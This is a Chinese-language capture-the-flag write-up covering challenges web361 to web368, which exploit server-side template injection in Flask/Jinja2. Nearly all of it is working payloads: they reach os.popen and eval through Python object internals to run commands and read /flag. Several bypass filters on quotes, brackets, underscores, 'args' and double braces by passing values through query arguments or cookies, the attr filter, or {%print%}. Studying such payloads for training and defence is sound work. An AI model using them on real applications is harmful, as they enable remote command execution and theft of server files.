web361
這里轉載一篇教繞過方法的文章
hint:考點就是題目
傳參?name={{2*2}}
回顯是4,找到漏洞
說實話這里對py不太好的朋友有點不友好,因為payload都是py的
這里用popen方法來執行命令
?name={{config.__class__.__init__.__globals__['os'].popen('more /flag').read()}}
還有其他的寫法但是都是利用的popen{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
web362
上題一樣的payload可以用
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
web363
這里是把引號過濾了我們可以用
request.args.x
達到目的
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()&x=().__class__.__bases__[0].__subclasses__()[80]
web364
禁用了args
我們使用cookie
?name={{x.__init__.__globals__.__builtins__[request.cookies.x1](request.cookies.x2).read()}}
cookies:
x1=open;x2=/flag
這是原句子但是不能執行命令只能看文件內容
?name={{x.__init__.__globals__.__builtins__[open]('/flag').read()}}
這是另外一種寫法
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie:
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
web365
用魔術方法__getitem__來代替方括號
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}cookie:
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
web366
過濾了中括號 下劃線 單引號 雙引號 globals、getitem args
然后使用flask過濾器
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
""|attr("__class__")
相當于
"".__class__
然后為什么要使用管道符 | 呢,主要就是用來拼接多個命令,然后執行
至于為什么要加給x這一塊加括號呢,我覺得其實之前的那些命令都可以加上就能理解了,方便看
web367
上題一樣的payload
web368
把雙花括號過濾
使用{%print()%}繞過
?name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}
cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()